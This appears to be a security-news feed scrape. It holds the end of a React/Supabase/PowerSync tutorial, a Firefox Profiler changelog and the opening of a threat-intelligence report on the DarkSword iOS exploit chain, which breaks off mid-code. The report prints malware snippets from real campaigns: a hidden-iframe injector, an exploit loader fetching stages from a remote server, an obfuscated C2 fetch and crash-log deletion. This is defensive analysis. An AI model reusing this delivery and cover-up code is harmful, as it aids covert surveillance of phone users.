<li>Paste the connection string you copied from Supabase. Note: If your string has a <code>[YOUR-PASSWORD]</code> placeholder, replace it with the actual password you created for the instance.</li>



<li>Click “Test Connection”.</li>
</ol>



<p>PowerSync will now reach out to the Postgres instance we created before. If you ran the <code>CREATE PUBLICATION SQL</code> command correctly in the Supabase setup, this will succeed, and you’ll see a green “Connection Successful!” status message.</p>



<h4 class="wp-block-heading">Configure authentication</h4>



<p>We told PowerSync how to <em>read</em> our Supabase data (Postgres). Now we need tell it how to <em>trust</em> our users. Here are the steps: </p>



<ol class="wp-block-list">
<li>In the PowerSync dashboard, click the “Client Auth” tab</li>



<li>Look for the “JWKS URI” field.</li>



<li>Construct your JWKS URL. It is your Supabase Project URL + a specific suffix. 
<ul class="wp-block-list">
<li>Format: <code>https://[YOUR-PROJECT-ID].supabase.co/auth/v1/.well-known/jwks.json</code></li>



<li>Note: You can get your Project URL from Supabase &gt; Settings &gt; API.</li>
</ul>
</li>



<li>Paste your JWKS URL into the JWKS URI field and click “Save”.</li>



<li>Set the Audience to “authenticated”:
<ul class="wp-block-list">
<li>Click the (+) Add button under “Token Claims”.</li>



<li>Claim: Type <code>aud</code></li>



<li>Value: Type <code>authenticated</code></li>
</ul>
</li>
</ol>



<p>This configuration tells PowerSync, “Only trust tokens that are signed by Supabase AND are meant for the ‘authenticated’ user group.”</p>



<h4 class="wp-block-heading">Define the sync rules</h4>



<p>The sync rules are the essential architectural element to understand. This is where we tell Powersync what <em>part </em>of the data the user is privy to. This is sometimes called the “data shape” for the user. Each user has their own shape of the overall data, based on their unique profile.</p>



<p>We do not want to sync the <em>entire</em> database to the user’s laptop. That would be bad on many levels. Instead, we define a sync rule (or “bucket” in PowerSync), which is a filter that determines what data belongs to which user.</p>



<p>Navigate to “Sync Rules” on the left. You’ll get a YAML editor. Replace the default code with the following code.</p>



<pre class="wp-block-code"><code>YAML
config:
  edition: 2

bucket_definitions:
  user_counters:
    # 1. Identify the user from their Auth Token
    parameters: SELECT request.user_id() as user_id

    # 2. Only sync rows that belong to them
    data:
      - SELECT * FROM counters WHERE owner_id = bucket.user_id
</code></pre>



<p>This code defines the special view of the data for users:</p>



<ul class="wp-block-list">
<li><code>user_counters</code>: This is a “bucket”, a collection of data</li>



<li><code>request.user_id()</code>: PowerSync automatically extracts the user id from the Supabase auth token.</li>



<li>The data query: This SQL runs in the cloud, grabbing only the rows where the <code>owner_id</code> column matches the logged-in user and streams them down to the device.</li>
</ul>



<p>You can click “Validate” to check that this is working. Click “Deploy” to make it live.</p>



<h2 class="wp-block-heading">React and SQLite – the client-side UI and database</h2>



<p>We have done a lot of administrative work here, but it is giving us an entire reactive architecture based on SQL. Let’s push ahead with a client that can use it.</p>



<p>To get a quick look, let’s clone a demo app from Supabase. At the command line, run: </p>



<pre class="wp-block-code"><code>$ git clone https://github.com/powersync-community/vite-react-ts-powersync-supabase.git
$ cd vite-react-ts-powersync-supabase
$ npm install
</code></pre>



<p>Once the npm command finishes, we want to point the app at the infrastructure we just created. We can do that using the <code>.env.local</code> environmental variable file. Open <code>.env.local</code> and change the vars to point to your services. Here is the code:</p>



<pre class="wp-block-code"><code>VITE_SUPABASE_URL=https://fooizpddffaabqcydusj.supabase.co
VITE_SUPABASE_ANON_KEY=sb_publishable_gqUrYxDt04rg74fopz5rUg_ayDxpmgE
VITE_POWERSYNC_URL=https://foofcf18cc2560584a018a12.powersync.journeyapps.com
</code></pre>



<p>We are ready to test our React app:</p>



<pre class="wp-block-code"><code>$ npm run dev:ui
</code></pre>



<p>The demo app is a simple counter—a web page that presents an “Increment” button and shows the count. None too exciting, except for the data syncing magic behind the scenes. </p>



<p>Run the above command, and a browser window will open showing a “Create Counter” button. When you click it, the demo will give you a counter in a new window, along with a user ID and a panel that shows connection and sync status. You can create as many counters as you like, each in a separate browser window. </p>



<p>You can verify your counter is working by going to the Supabase dashboard, looking at the “Table” pane and seeing that a row has indeed been inserted for your user in the counter table. Another good check is to log in using another browser/device (or incognito tab). </p>



<p>Log in and create another counter in the second browser window, so that you have two different Supabase-synced session counters side by side: </p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/React-Supabase-PowerSync-03-1.png" alt="React-Supabase-PowerSync 03" class="wp-image-4169002" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Foundry</p></div>



<p>Whenever you create a new counter, a new row will be inserted into Supabase. The screenshot below shows a Supabase table with two rows, each with its own user ID and counter value. </p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/React-Supabase-PowerSync-04.png" alt="React-Supabase-PowerSync 04" class="wp-image-4169007" width="1024" height="487" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Foundry</p></div>



<h3 class="wp-block-heading">The React code (App.tsx)</h3>



<p>We are moving quickly, but there are some interesting things to make note of in the src/App.tsx file. This code is the main React code for the app, and demonstrates the shift from “asking the server” to “interacting with local database state.” </p>



<p>There are two landmarks here that every React developer needs to see: the reactive read and the instant write. </p>



<h4 class="wp-block-heading">The reactive read (useQuery)</h4>



<p>In a standard React app, we would retrieve the data by using a <code>useEffect</code> to call <code>fetch('/api/counters')</code>. In our local-first React app, we use raw SQL:</p>



<pre class="wp-block-code"><code>const { data: counters, isLoading } = useQuery<counterrecord>(
  `SELECT * FROM ${COUNTER_TABLE} ORDER BY created_at ASC`,
  [],
  {
    rowComparator: {
      keyBy: (item) =&gt; item.id,
      compareBy: (item) =&gt; JSON.stringify(item)
    }
  }
);
</counterrecord></code></pre>



<p>This is the “reactive SQL” part of the architecture.</p>



<p>This <code>useQuery</code> hook subscribes to the local SQLite database. When the background worker receives an update from the cloud—or when you update a row locally—this hook fires instantly and re-renders the component. No manual state management or re-fetching logic is required, and there is no intermediate object of state. The back-end state and the front-end state are the same.</p>



<h4 class="wp-block-heading">The instant write (powerSync.execute)</h4>



<p>Notice what happens when we increment the counter. There is no <code>await api.post(...)</code> and no loading spinner state.</p>



<pre class="wp-block-code"><code>const updateCounter = async (counter: CounterRecord, newCount: number) =&gt; {
  // Writes to Local SQLite immediately
  await powerSync.execute(
    `UPDATE ${COUNTER_TABLE} SET count = ? WHERE owner_id = ?`,
    [newCount, counter.owner_id]
  );
};
</code></pre>



<p>This code is interesting on its own, because it’s like a reactive SQL statement. We write to the local file (Wasm). The write completes in milliseconds, and the UI updates immediately via the <code>useQuery</code> hook. The PowerSync syncing engine picks up the change asynchronously and pushes it to Supabase.</p>



<h2 class="wp-block-heading">The local-first vs. RESTful calculation</h2>



<p>So, is all of this configuration and newfangled code worth it?</p>



<p>If you are building a simple dashboard or a form-based application, the traditional JSON API (REST or GraphQL) approach is still king. In those models, the server is the single source of truth, and the client is just a dumb terminal. It is simple, stateless, and easy to debug. It’s also familiar.</p>



<p>But that simplicity comes with an unavoidable latency cost. Every interaction requires a round-trip ticket to the server. If the network hiccups, your app freezes. JSON APIs force you to manage loading states, error boundaries, and optimistic UI rollbacks manually.</p>



<p>Local-first flips the calculation. You pay a higher cost up front: you have to define a schema, manage a local database, and think about syncing rules. But in exchange, you get an application that feels like a native piece of software. Local-first creates data continuity, the ability to walk out of Wi-Fi range, keep working, and have your data follow you across devices when you reconnect.</p>



<p>Architecturally, we used three major components: the database, the syncing engine, and the client. This is actually similar to your conventional RESTful stack. In the local-first structure, the syncing engine takes the place of the JSON API server. In short, you have a similar amount of high-level complexity, but with different actors on the ground.</p>



<p>Local-first architecture is a fascinating development for JavaScript and the web in general. There is a huge inertial mass of JSON APIs to overcome, but here is a real countercurrent. Local-first may never rise to the level of adoption of RESTful architecture, but local-first data and reactive SQL constitute one of the most important trends to be watching closely right now.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Tooling Announcements: Firefox Profiler Deployment (April 28, 2026)]]></title>
<description><![CDATA[The latest version of the Firefox Profiler is now live! Check out the full changelog below to see what’s changed:
Highlights:


[fatadel] Dim non-matching nodes in the stack chart when searching (#5935)


[Markus Stange] Always render the CPU-usage-aware activity graph when CPU information is ava...]]></description>
<link>https://tsecurity.de/de/3501625/tools/firefox-tooling-announcements-firefox-profiler-deployment-april-28-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3501625/tools/firefox-tooling-announcements-firefox-profiler-deployment-april-28-2026/</guid>
<pubDate>Fri, 08 May 2026 23:24:26 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The latest version of the <a href="https://profiler.firefox.com/" rel="noopener nofollow ugc">Firefox Profiler</a> is now live! Check out the full changelog below to see what’s changed:</p>
<p><strong>Highlights:</strong></p>
<ul>
<li>
<p>[fatadel] Dim non-matching nodes in the stack chart when searching (<a href="https://github.com/firefox-devtools/profiler/pull/5935" rel="noopener nofollow ugc">#5935</a>)</p>
</li>
<li>
<p>[Markus Stange] Always render the CPU-usage-aware activity graph when CPU information is available (<a href="https://github.com/firefox-devtools/profiler/pull/5918" rel="noopener nofollow ugc">#5918</a>)</p>
</li>
<li>
<p>[fatadel] Add CounterDisplayConfig to counters in the processed profile format (<a href="https://github.com/firefox-devtools/profiler/pull/5912" rel="noopener nofollow ugc">#5912</a>)</p>
</li>
<li>
<p>[Nazım Can Altınova] Fallback to javascript highlighting in the source view as a backup (<a href="https://github.com/firefox-devtools/profiler/pull/5936" rel="noopener nofollow ugc">#5936</a>)</p>
</li>
<li>
<p>[fatadel] Replace 4 counter track components with a single generic TrackCounter (<a href="https://github.com/firefox-devtools/profiler/pull/5944" rel="noopener nofollow ugc">#5944</a>)</p>
</li>
<li>
<p>[Ryan Hunt] Add a fullscreen button to the bottom box (<a href="https://github.com/firefox-devtools/profiler/pull/5605" rel="noopener nofollow ugc">#5605</a>)</p>
</li>
<li>
<p>[Nazım Can Altınova] Add “Include idle samples” toggle to the call tree settings (<a href="https://github.com/firefox-devtools/profiler/pull/5968" rel="noopener nofollow ugc">#5968</a>)</p>
</li>
<li>
<p>[Markus Stange] Update the hovered item when panning any viewport canvas (<a href="https://github.com/firefox-devtools/profiler/pull/5903" rel="noopener nofollow ugc">#5903</a>)</p>
</li>
<li>
<p>[Nazım Can Altınova] Fix loading .json.gz profiles from inside zip archives (<a href="https://github.com/firefox-devtools/profiler/pull/5959" rel="noopener nofollow ugc">#5959</a>)</p>
</li>
<li>
<p>[Markus Stange] Replace symbolicator-cli with a profiler-edit node tool (<a href="https://github.com/firefox-devtools/profiler/pull/5965" rel="noopener nofollow ugc">#5965</a>)</p>
</li>
</ul>
<p><strong>Other Changes:</strong></p>
<ul>
<li>
<p>[fatadel] Fix arrow panel appearing behind marker tooltips (<a href="https://github.com/firefox-devtools/profiler/pull/5926" rel="noopener nofollow ugc">#5926</a>)</p>
</li>
<li>
<p>[fatadel] Upgrade Node.js from v22 to v24 (<a href="https://github.com/firefox-devtools/profiler/pull/5923" rel="noopener nofollow ugc">#5923</a>)</p>
</li>
<li>
<p>[Markus Stange] Use createStackTableBySkippingDiscarded in focusSelf. (<a href="https://github.com/firefox-devtools/profiler/pull/5916" rel="noopener nofollow ugc">#5916</a>)</p>
</li>
<li>
<p>[Markus Stange] Propagate isJS to symbolicated funcs (<a href="https://github.com/firefox-devtools/profiler/pull/5907" rel="noopener nofollow ugc">#5907</a>)</p>
</li>
<li>
<p>[Nazım Can Altınova] Properly type the return value of _languageExtForPath (<a href="https://github.com/firefox-devtools/profiler/pull/5937" rel="noopener nofollow ugc">#5937</a>)</p>
</li>
<li>
<p>[Nazım Can Altınova] Update typescript eslint dependencies (<a href="https://github.com/firefox-devtools/profiler/pull/5938" rel="noopener nofollow ugc">#5938</a>)</p>
</li>
<li>
<p>[Markus Stange] Modernize more of the transform functions (<a href="https://github.com/firefox-devtools/profiler/pull/5934" rel="noopener nofollow ugc">#5934</a>)</p>
</li>
<li>
<p>[Paul Adenot] Fix extractGeckoLogs for structured Log marker format (bug 2022540) (<a href="https://github.com/firefox-devtools/profiler/pull/5927" rel="noopener nofollow ugc">#5927</a>)</p>
</li>
<li>
<p>[Nazım Can Altınova] Move some profile fetching code into a separate module. (<a href="https://github.com/firefox-devtools/profiler/pull/5939" rel="noopener nofollow ugc">#5939</a>)</p>
</li>
<li>
<p>[Markus Stange] Migrate Home page animation to CSS transitions and remove react-transition-group (<a href="https://github.com/firefox-devtools/profiler/pull/5649" rel="noopener nofollow ugc">#5649</a>)</p>
</li>
<li>
<p>[Nazım Can Altınova] Fix test/lint commands on Windows and fix CI (<a href="https://github.com/firefox-devtools/profiler/pull/5947" rel="noopener nofollow ugc">#5947</a>)</p>
</li>
<li>
<p>[Nazım Can Altınova] Convert profile-logic/js-tracer.tsx to a ts file (<a href="https://github.com/firefox-devtools/profiler/pull/5942" rel="noopener nofollow ugc">#5942</a>)</p>
</li>
<li>
<p>[Markus Stange] Remove panelLayoutGeneration (<a href="https://github.com/firefox-devtools/profiler/pull/5946" rel="noopener nofollow ugc">#5946</a>)</p>
</li>
<li>
<p>[Nazım Can Altınova] Fix eslint-config-prettier silently overriding custom rules (<a href="https://github.com/firefox-devtools/profiler/pull/5955" rel="noopener nofollow ugc">#5955</a>)</p>
</li>
<li>
<p>[Markus Stange] Speed up _computeCallNodeTableHierarchy by keeping siblings ordered by func (<a href="https://github.com/firefox-devtools/profiler/pull/5964" rel="noopener nofollow ugc">#5964</a>)</p>
</li>
<li>
<p>[Nazım Can Altınova] Add dark mode versions of the fullscreen icons (<a href="https://github.com/firefox-devtools/profiler/pull/5972" rel="noopener nofollow ugc">#5972</a>)</p>
</li>
<li>
<p>[fatadel] Use ephemeral port for esbuild’s internal dev server (<a href="https://github.com/firefox-devtools/profiler/pull/5974" rel="noopener nofollow ugc">#5974</a>)</p>
</li>
<li>
<p>[carverdamien] Remove category from LongTaskMarkerPayload (<a href="https://github.com/firefox-devtools/profiler/pull/5975" rel="noopener nofollow ugc">#5975</a>)</p>
</li>
</ul>
<p>Big thanks to our amazing localizers for making this release possible:</p>
<ul>
<li>
<p>de: Ger</p>
</li>
<li>
<p>de: Michael Köhler</p>
</li>
<li>
<p>el: Jim Spentzos</p>
</li>
<li>
<p>en-GB: Ian Neal</p>
</li>
<li>
<p>es-CL: ravmn</p>
</li>
<li>
<p>fr: Théo Chevalier</p>
</li>
<li>
<p>ia: Melo46</p>
</li>
<li>
<p>it: Francesco Lodolo [:flod]</p>
</li>
<li>
<p>nl: Mark Heijl</p>
</li>
<li>
<p>pt-BR: Marcelo Ghelman</p>
</li>
<li>
<p>ru: Valery Ledovskoy</p>
</li>
<li>
<p>ru: berry</p>
</li>
<li>
<p>sv-SE: Andreas Pettersson</p>
</li>
<li>
<p>tr: Grk</p>
</li>
<li>
<p>zh-CN: Olvcpr423</p>
</li>
<li>
<p>zh-CN: wxie</p>
</li>
<li>
<p>zh-TW: Pin-guang Chen</p>
</li>
</ul>
<p>Find out more about the Firefox Profiler on <a href="https://profiler.firefox.com/" rel="noopener nofollow ugc">profiler.firefox.com</a>! If you have any questions, join the discussion on our <a href="https://chat.mozilla.org/#/room/%23profiler:mozilla.org" rel="noopener nofollow ugc">Matrix channel</a>!</p>
            <p><small>1 post - 1 participant</small></p>
            <p><a href="https://discourse.mozilla.org/t/firefox-profiler-deployment-april-28-2026/148154">Read full topic</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Proliferation of DarkSword: iOS Exploit Chain Adopted by Multiple Threat Actors]]></title>
<description><![CDATA[Introduction 
Google Threat Intelligence Group (GTIG) has identified a new iOS full-chain exploit that leveraged multiple zero-day vulnerabilities to fully compromise devices. Based on toolmarks in recovered payloads, we believe the exploit chain to be called DarkSword. Since at least November 20...]]></description>
<link>https://tsecurity.de/de/3501416/it-security-nachrichten/the-proliferation-of-darksword-ios-exploit-chain-adopted-by-multiple-threat-actors/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3501416/it-security-nachrichten/the-proliferation-of-darksword-ios-exploit-chain-adopted-by-multiple-threat-actors/</guid>
<pubDate>Fri, 08 May 2026 23:19:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><h3><span>Introduction</span><strong> </strong></h3>
<p><span>Google Threat Intelligence Group (GTIG) has identified a new iOS full-chain exploit that leveraged multiple zero-day vulnerabilities to fully compromise devices. Based on toolmarks in recovered payloads, we believe the exploit chain to be called DarkSword. Since at least November 2025, GTIG has observed multiple commercial surveillance vendors and suspected state-sponsored actors utilizing DarkSword in distinct campaigns. These threat actors have deployed the exploit chain against targets in Saudi Arabia, Turkey, Malaysia, and Ukraine.</span></p>
<p><span>DarkSword supports iOS versions 18.4 through 18.7 and utilizes six different vulnerabilities to deploy final-stage payloads. GTIG has identified three distinct malware families deployed following a successful DarkSword compromise: GHOSTBLADE, GHOSTKNIFE, and GHOSTSABER. The proliferation of this single exploit chain across disparate threat actors mirrors the previously discovered </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/coruna-powerful-ios-exploit-kit"><span>Coruna iOS exploit kit</span></a><span>. Notably, UNC6353, a suspected Russian espionage group previously observed using Coruna, has recently incorporated DarkSword into their watering hole campaigns.</span></p>
<p><span>In this blog post, we examine the uses of DarkSword by these distinct threat actors, provide an analysis of their final-stage payloads, and describe the vulnerabilities leveraged by DarkSword. GTIG reported the vulnerabilities used in DarkSword to Apple in late 2025, and all vulnerabilities were patched with the release of iOS 26.3 (although most were patched prior). We have added domains involved in DarkSword delivery to </span><a href="https://safebrowsing.google.com/" rel="noopener" target="_blank"><span>Safe Browsing</span></a><span>, and strongly urge users to update their devices to the latest version of iOS. In instances where an update is not possible, it is recommended that </span><a href="https://support.apple.com/en-us/105120" rel="noopener" target="_blank"><span>Lockdown Mode</span></a><span> be enabled for enhanced security.</span></p>
<p><span>This research is published in coordination with our industry partners at </span><a href="https://www.lookout.com/blog/darksword" rel="noopener" target="_blank"><span>Lookout</span></a><span> and </span><a href="https://iverify.io/blog/darksword-ios-exploit-kit-explained" rel="noopener" target="_blank"><span>iVerify</span></a><span>.</span></p>
<h3><span>Discovery Timeline</span></h3>
<p><span>GTIG has identified several different users of the DarkSword exploit chain dating back to November 2025. In addition to the case studies on DarkSword usage documented in this blog post, we assess it is likely that other commercial surveillance vendors or threat actors may also be using DarkSword.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/darksword-ios-exploit-chain-fig1a.max-1000x1000.jpg" alt="DarkSword iOS Exploit Chain timeline">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="hegv0">Figure 1: Timeline of DarkSword observations and vulnerability patches</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h4><span>Saudi Arabian Users Targeted via Snapchat-Themed Website (UNC6748)</span></h4>
<p><span>In early November 2025, GTIG identified the threat cluster UNC6748 leveraging a Snapchat-themed website, </span><code>snapshare[.]chat</code><span>, to target Saudi Arabian users (Figure 2). The landing page on the website included JavaScript code using a mix of obfuscation techniques, and created a new IFrame that pulled in another resource at </span><code>frame.html</code><span> (Figure 3). The landing page JavaScript also set a session storage key named </span><code>uid</code><span>, and checked if that key was already set prior to creating the IFrame that fetches the next delivery stage. We assess this is to prevent re-infecting prior victims. In subsequent observations of UNC6748 throughout November 2025, we observed them update the landing page to include anti-debugging and additional obfuscation to hinder analysis. We also identified additional code added when the actor attempts to infect a user using Chrome, where the </span><code>x-safari-https</code><span> protocol handler is used to open the page in Safari (Figure 4). This suggests that UNC6748 didn't have an exploit chain for Chrome at the time of this activity. During the infection process, the victim is redirected to a legitimate Snapchat website in an attempt to masquerade the activity.</span></p>
<p><code>frame.html</code><span> is a simple HTML file that dynamically injects a new </span><code>script</code><span> tag that loads in the main exploit loader, </span><code>rce_loader.js</code><span> (Figure 5). The loader performs some initialization used by subsequent stages, and fetches a remote code execution (RCE) exploit from the server using </span><code>XMLHttpRequest</code><span> (Figure 6).</span></p>
<p><span>We observed UNC6748 activity multiple times throughout November 2025, where both major and minor updates were made to their infection process:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>The first UNC6748 activity we observed only had support for one RCE exploit split across two files, </span><code>rce_module.js</code><span> and </span><code>rce_worker_18.4.js</code><span> (Figure 7). This exploit primarily leveraged CVE-2025-31277, a memory corruption vulnerability in JavaScriptCore (the JavaScript engine used in WebKit and Apple Safari), and also CVE-2026-20700, a Pointer Authentication Codes (PAC) bypass in </span><code>dyld</code><span>.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>We then identified activity several days later where another RCE exploit was added, </span><code>rce_worker_18.6.js</code><span> (Figure 8). This exploit used CVE-2025-43529, a different memory corruption vulnerability in JavaScriptCore, alongside the same CVE-2026-20700 exploit in the same file.</span></p>
</li>
<ul>
<li aria-level="2">
<p role="presentation"><span>The loader was modified to also fetch a </span><code>rce_module_18.6.js</code><span> payload, which only defined a simple function that was not observed in use elsewhere.</span></p>
</li>
<li aria-level="2">
<p role="presentation"><span>However, the logic implemented for this did not correctly serve the iOS 18.4 exploit if the device version wasn't 18.6, and did not account for the existence of iOS 18.7, even though it was released two months prior in September 2025. This suggests that this update may have been originally written months prior to UNC6748 acquiring and/or deploying it.</span></p>
</li>
</ul>
<li aria-level="1">
<p role="presentation"><span>Later in November 2025, we observed another module added, </span><code>rce_worker_18.7.js</code><span> (Figure 9). This was an updated version of </span><code>rce_worker_18.6.js</code><span>, but with offsets added to support iOS 18.7.</span></p>
</li>
<ul>
<li aria-level="2">
<p role="presentation"><span>There was also a logic flaw in the loader in this case, as it loaded the exploit for iOS 18.7 regardless of the detected device version.</span></p>
</li>
</ul>
</ul>
<p><span>In our observations, UNC6748 used the same modules for sandbox escapes and privilege escalation, along with the same final payload, GHOSTKNIFE.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--medium
      
      
        h-c-grid__col
        
        h-c-grid__col--4 h-c-grid__col--offset-4
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/darksword-ios-exploit-chain-fig2.max-1000x1000.png" alt="decoy page">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="ijhn8">Figure 2: snapshare[.]chat decoy page</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>if (!sessionStorage.getItem("uid") &amp;&amp; isTouchScreen) {
  sessionStorage.setItem("uid", '1');
  const frame = document.createElement("iframe");
  frame.src = "frame.html?" + Math.random();
  frame.style.height = 0;
  frame.style.width = 0;
  frame.style.border = "none";
  document.body.appendChild(frame);
} else {
  top.location.href = "red";
}</code></pre>
<p><span><span>Figure 3: Landing page snippet that loads </span><code>frame.html</code><span> (UNC6748, November 2025)</span></span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
  &lt;title&gt;&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
  &lt;script type="text/javascript"&gt;document.write('&lt;script defer=\"defer\" src=\"rce_loader.js\"\&gt;\&lt;\/script\&gt;');&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>
<p><span><span>Figure 4: </span><code>frame.html</code><span> contents (UNC6748, November 2025)</span></span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>if (typeof browser !== "undefined" || !isIphone()) {
        console.log("");
} else {
        location.href = "x-safari-https://snapshare.chat/&lt;redacted&gt;";
}</code></pre>
<p><span><span>Figure 5: Landing page code snippet showing </span><code>x-safari-https</code><span> use (UNC6748, November 2025)</span></span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>function getJS(fname,method = 'GET') 
{
    try 
    {
        url = fname;
        print(`trying to fetch ${method} from: ${url}`);
        let xhr = new XMLHttpRequest();
        xhr.open("GET", `${url}` , false);
        xhr.send(null);
        return xhr.responseText;
    }
    catch(e)
    {
        print("got error in getJS: " + e);
    }
}</code></pre>
<p><span><span>Figure 6: </span><code>rce_loader.js</code><span> snippet showing the logic for fetching additional stages (UNC6748, November 2025)</span></span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>let workerCode = "";
workerCode = getJS(`rce_worker_18.4.js`); // local version
let workerBlob = new Blob([workerCode],{type:'text/javascript'});
let workerBlobUrl = URL.createObjectURL(workerBlob);</code></pre>
<p><span><span>Figure 7: </span><code>rce_loader.js</code><span> snippet showing a single RCE exploit worker being loaded (UNC6748, November 2025)</span></span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>let workerCode = "";
if(ios_version == '18,6' || ios_version == '18,6,1' || ios_version == '18,6,2')
    workerCode = getJS(`rce_worker_18.6.js?${Date.now()}`); // local version
else
    workerCode = getJS(`rce_worker_18.6.js?${Date.now()}`); // local version
let workerBlob = new Blob([workerCode],{type:'text/javascript'});
let workerBlobUrl = URL.createObjectURL(workerBlob);</code></pre>
<p><span><span>Figure 8: </span><code>rce_loader.js</code><span> snippet showing (attempted) support for different RCE exploit workers (UNC6748, November 2025)</span></span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>let workerCode = "";
if(ios_version == '18,7')
    workerCode = getJS(`rce_worker_18.7.js?${Date.now()}`); // local version
else
    workerCode = getJS(`rce_worker_18.7.js?${Date.now()}`); // local version
let workerBlob = new Blob([workerCode],{type:'text/javascript'});
let workerBlobUrl = URL.createObjectURL(workerBlob);</code></pre>
<p><span><span>Figure 9: </span><code>rce_loader.js</code><span> snippet with iOS 18.7 support added (UNC6748, November 2025)</span></span></p></div>
<div class="block-paragraph_advanced"><h5><span>GHOSTKNIFE</span></h5>
<p><span>In this activity, we observed UNC6748 deploy a backdoor GTIG tracks as GHOSTKNIFE. GHOSTKNIFE, written in JavaScript, has several modules for exfiltrating different types of data, including signed-in accounts, messages, browser data, location history, and recordings. It also supports downloading files from the C2 server, taking screenshots, and recording audio from the device's microphone. GHOSTKNIFE communicates with its C2 server using a custom binary protocol over HTTP, encrypted using a scheme based on ECDH and AES. GHOSTKNIFE can update its config with new parameters from its C2 server.</span></p>
<p><span>GHOSTKNIFE writes files to disk during its execution under </span><code>/tmp/&lt;uuid&gt;.&lt;numbers&gt;</code><span>, where </span><code>uuid</code><span> is a randomly generated UUIDv4 value and </span><code>numbers</code><span> is a hard-coded sequence of several digits. Under that directory, it creates multiple subfolders including </span><code>STORAGE</code><span>, </span><code>DATA</code><span>, and </span><code>TMP</code><span>. As each module of GHOSTKNIFE executes, it writes its data to </span><code>/tmp/&lt;uuid&gt;.&lt;numbers&gt;/STORAGE/&lt;uuid2&gt;.&lt;id&gt;</code><span>, where </span><code>id</code><span> is the numeric value of the module and </span><code>uuid2</code><span> is a different randomly generated UUIDv4 value. Additionally, GHOSTKNIFE periodically erases crash logs from the device to cover its tracks in case of unexpected failures (Figure 10).</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code> cleanLogs(){
       let files =  MyHelper.getContentsOfDir("/var/mobile/Library/Logs/CrashReporter/");
       for(let file of files){//.ips  // mediaplaybackd-" panic-full-
        if(file.includes("mediaplaybackd") || file.includes("SpringBoard") || file.includes("com.apple.WebKit.") || file.includes("panic-full-") ){
          MyHelper.deleteFileAtPath(file);
        }
       }
  }</code></pre>
<p><span><span>Figure 10: GHOSTKNIFE snippet responsible for deleting crash logs</span></span></p></div>
<div class="block-paragraph_advanced"><h4><span>Campaigns Targeting Users in Turkey and Malaysia (PARS Defense)</span></h4>
<p><span>In late November 2025, GTIG observed activity associated with the Turkish commercial surveillance vendor PARS Defense where DarkSword was used in Turkey, with support for iOS 18.4-18.7. Unlike the UNC6748 activity, this campaign was carried out with more attention to OPSEC, with obfuscation applied to the exploit loader and some of the exploit stages, and the use of ECDH and AES to encrypt exploits between the server and the victim (Figure 11). Additionally, the obfuscated version of </span><code>rce_loader.js</code><span> used by PARS Defense fetched the correct RCE exploit depending on the detected iOS version (Figure 12).</span></p>
<p><span>Subsequently, in January 2026, GTIG observed additional activity in Malaysia associated with a different PARS Defense customer. In this case, we were able to collect a different loader used in the activity, which contains additional device fingerprinting logic, and also used the </span><code>uid</code><span> session storage check. This loader also uses the </span><code>top.location.href</code><span> redirect for targets that do not pass all of the checks like UNC6748 did, but also sets </span><code>window.location.href</code><span> to the same URL (Figure 13).</span></p>
<p><span>Where available, GTIG identified a different final payload used in this activity, a backdoor we track as GHOSTSABER.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>function getJS(_0x12fba8) {
  const _0x35744f = generateKeyPair();
  const _0x4a6eb4 = exportPublicKeyAsPem(_0x35744f.publicKey);
  const _0x1bc168 = self.btoa(_0x4a6eb4);
  const _0x119092 = {
    'a': _0x1bc168
  };
  _0x12fba8 = _0x12fba8.startsWith('/') ? _0x12fba8 : '/' + _0x12fba8;
  const _0x1fedd2 = new XMLHttpRequest();
  _0x1fedd2.open('POST', 'https://&lt;redacted&gt;' + (_0x12fba8 + '?' + Date.now()), false);
  _0x1fedd2.setRequestHeader('Content-Type', 'application/json');
  _0x1fedd2.send(JSON.stringify(_0x119092));
  if (_0x1fedd2.status === 0xc8) {
    const _0x362968 = JSON.parse(_0x1fedd2.responseText);
